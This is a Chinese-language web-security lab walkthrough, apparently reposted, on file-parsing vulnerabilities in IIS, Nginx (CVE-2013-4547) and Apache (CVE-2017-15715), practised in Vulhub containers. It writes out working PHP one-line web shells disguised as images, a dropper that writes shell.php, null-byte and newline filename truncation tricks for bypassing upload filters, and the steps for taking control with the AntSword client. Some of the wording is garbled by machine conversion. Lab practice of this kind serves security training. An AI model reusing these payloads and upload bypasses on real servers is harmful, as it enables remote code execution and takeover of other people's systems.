⽂件解析毛病是由于中心件错误的将任意格式的⽂件解析成⽹⻚可执⾏⽂件,配合⽂件上传毛病进⾏ GetShell的毛病!
一、IIS解析毛病 3个
1. IIS6.X 2个
环境需求:windows2003+iis6
安装windows2003;
安装iis:控制⾯板--添加或删除步伐---添加/删除windows组件,点击“应用步伐服务器”---勾选所有服务,点击确定,安装完成。
⽹站路径默以为 c:/inetpub/wwwroot 。
1.1 目录解析
在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。 (1)在iis的⽹站根⽬录新建⼀个名为a.asp的⽂件
(2)在该文件中新建一个1.jpg文件,在记事本打开,写入asp代码语句:<% =now()%>
now()函数,表现当前时间
(3)访问该文件:http://ip/a.asp/1.jpg
发现将1.jpg文件当做asp文件实行了
(4)将1.jpg复制到www目录下,访问,发现未实行 证明存在解析毛病
1.2 畸形⽂件解析
在IIS 6 处理⽂件解析时, 分号可以起到截断的结果。也就是说 shell.asp;.jpg会被服务器看成是 shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包罗 asa\cer\cdx (1)在网址根目录,写入一个文件2.asp;.jpg asp代码:<% =now()%>
(2)浏览器访问该文件,发现 asp代码实行
1.3 其他步伐扩展名 .asa .cer .cdx 等等
asp代码:<% =now()%> 保存文件为test.cer
浏览器访问该文件,发现asp代码仍被实行,存在文件解析毛病
2. IIS7.X
在IIS7.0和IIS7.5版本下也存在解析毛病,在默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg 后⾯加上/xx.php会将 /xx.jpg/xx.php 解析为 php ⽂件 。 环境:利用Windows10的iis服务和其中的CGI+phpStudy4iis
安装phpStudy4iis:
官网下载:Windows版phpstudy下载 - 小皮面板(phpstudy)
留意一定是 phpStudy for IIS版。
解压后,安装这两个exe文件
打开步伐后,选择一个php版本,并修改对应版本的php.ini配置文件中:
安装IIS的CGI
2.1. 打开服务phpstudy2016
2.2 点击处理步伐映射---找到phpStudy_FastCGI---双击---请求限定,去掉映射的勾选,然后将目录浏览打开:点击右侧的启用
2.3 绑定ip,端口,重启服务phpstudy2016,
2.4 网址根目录下写入一句话木马文件,浏览器访问http://ip:8980,点击shell.jpg
2.5 上一步的url背面加上/.php,文件被实行
2.6 蚁剑尝试连接,连接乐成
二、Nginx解析毛病 2个
安装docker:yum install docker
安装docker-compose:yum install docker-compose
开启docker服务:systemctl start docker
1. nginx_parsing
这个解析毛病其实是PHP CGI的毛病,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。 1.1 进⼊以下Vulhub路径并开启容器
cd /nginx/nginx_parsing_vulnerability //切换至该目录中 docker-compose up -d //打开靶场环境 docker ps -a
留意:如果 docker-compose up -d实行出现错误error,大概是服务未开启。 输入:systemctl start docker后,再输入: docker-compose up -d 如果出现超时错误,腾讯云无法解决,阿里云的可以利用镜像加速,怎样做请参考其他文章,本文不做解释。【因为是借用其他人的靶场练习的】
1.2 浏览器,通过 http://ip:端口/ 访问靶场
以80端口为例
1.3 制作图⽚⻢并进⾏上传,获取上传⽂件所在
GIF89a
<?php @eval($_POST['cmd']);?>
1.4 访问上传文件1.jpg
http://ip/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/.php
1.5 蚁剑连接乐成
2.CVE-2013-4547
2.1开启靶场环境,并访问,端口为8080
#启动靶场
cd vulhub-master/nginx/CVE-2013-4547x //切换到靶机⽬录
docker-compose up -d //打开环境
访问靶场:ip:8080
2.2 准备上传的木马文件shell.jpg,上传,进行BP拦截数据包
输入:<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
2.3 修改文件名,编码实现截断符
将数据包发送到重放器,修改文件为shell.jpg空格空格.php
在.jpg后⾯添加两个空格并给上 .php 后缀,在16进制修改中将本来两个空格的 0x20 0x20 修改为如下即 0x20 0x00 进⾏发包 上传乐成 访问上传的文件
ip/uploadfiles/shell.jpg
拦包,修改如下:由于url会将其编码,需要继续抓包修改 0x20 0x20为 0x20 0x00
2.4 访问/uploadfiles/shell.php
2.5 蚁剑连接木马
三、Apache解析毛病 2个
1. apache_parsing
1.1 开启靶场环境,同其他关卡一样
1.2 写入木马shell.php.jpg,访问靶场 端口为81,上传文件
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
保存为shell.php.jpg文件
1.3 上传乐成,直接访问
1.4 蚁剑连接
2. CVE-2017-15715
2.1 开启靶场环境,访问靶场 上传文件
2.2 在evil.php⽂件后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传乐成
2.3 访问上传的文件,后⾯加上 %0A 解析了php文件 存在毛病
2.4 蚁剑连接乐成
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |